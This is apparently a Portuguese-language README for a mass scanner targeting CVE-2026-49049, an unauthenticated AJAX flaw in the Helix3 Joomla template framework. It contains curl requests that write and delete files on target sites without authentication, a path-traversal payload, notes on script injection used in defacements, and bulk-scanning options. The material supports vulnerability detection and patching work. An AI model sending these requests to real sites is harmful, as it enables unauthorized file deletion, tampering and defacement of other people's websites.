
Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler
CVE-2026-49049 afeta o framework de template Helix3 para Joomla (versões 1.0 a 3.1.0). O manipulador onAjaxHelix3, acessível através do dispatcher com_ajax do Joomla, realiza nenhuma autenticação, autorização ou validação CSRF em várias ações destrutivas:
Nota: A ação
importfoi adicionada no Helix3 v3.x. Sites executando v2.x são afetados apenas porsaveeremove.
A vulnerabilidade foi descoberta por Phil Taylor (mySites.guru) e publicada em 29 de junho de 2026.
| Versão do Helix3 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Vulnerável | Não presente |
| 3.0 – 3.1.0 | Vulnerável | Vulnerável |
| 3.1.1+ | Corrigido | Corrigido |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Alvo único
python cve_2026_49049.py -t 192.168.1.100
# Varredura em massa
python cve_2026_49049.py -f targets.txt -o results.txt
# Com relatório JSON + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Alvo único (domínio ou IP)
-f, --file Arquivo com alvos, um por linha
-o, --output Saída de texto em tempo real (padrão: cve-2026-49049_scan.txt)
--json Relatório JSON estruturado (padrão: cve-2026-49049_report.json)
--threads Trabalhadores simultâneos (padrão: 15)
--timeout Timeout HTTP em segundos (padrão: 15)
-v, --verbose Mostrar detalhes da verificação
O scanner realiza uma sonda somente leitura — ele escreve um arquivo JSON inofensivo na pasta de layout do Helix3 através do endpoint save não autenticado, verifica se foi escrito e imediatamente o exclui via endpoint remove. Nenhuma alteração persistente permanece no alvo.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
O scanner verifica esses endpoints exatos. Para verificação manual:
Passo 1 — Confirmar que o Helix3 está instalado
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
Passo 2 — Testar ação save (escrita de arquivo não autenticada)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Passo 3 — Testar ação remove (exclusão de arquivo não autenticada)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
Passo 4 — Testar ação import (apenas v3.x, não disponível na v2.x)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Nota: import foi adicionado no Helix3 v3.x.
# Sites executando v2.x retornarão uma resposta vazia para esta ação.
Nas versões do Helix3 anteriores à 3.1.1, plugins/ajax/helix3/helix3.php processa requisições via onAjaxHelix3() sem proteções:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil escreve arquivos fora do diretório de layout pretendidosave (que adiciona .json), remove pode atingir qualquer tipo de arquivocustom_js é renderizado sem escape na saída do template, permitindo injeção de script em todas as páginas. Este é o vetor usado em ataques reais de desfiguração.APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS.
Este software é destinado a profissionais de segurança realizando testes de penetração autorizados, organizações auditando sua própria infraestrutura e pesquisadores estudando exploração de vulnerabilidades.
O acesso não autorizado a sistemas computacionais é ilegal e pode violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésia: UU ITE Pasal 30 & 46
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Os autores não assumem nenhuma responsabilidade por uso indevido. Ao usar este software, você aceita total responsabilidade por suas ações.
| Recurso | Link |
|---|
Este projeto não é afiliado ao JoomShaper, Joomla ou Open Source Matters, Inc.
| Ação | Impacto | Disponível em |
|---|
save | Escreve arquivos JSON controlados pelo atacante com travessia de caminho | Todas as versões |
remove | Exclui arquivos arbitrários — sem restrição de extensão ou caminho | Todas as versões |
import | Sobrescreve parâmetros de template armazenados no banco de dados | apenas v3.x |
| Aviso Original (mySites.guru) | Helix3 3.1.1 Security Fix |
| Entrada NVD | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| GitHub JoomShaper | Helix3 Repository |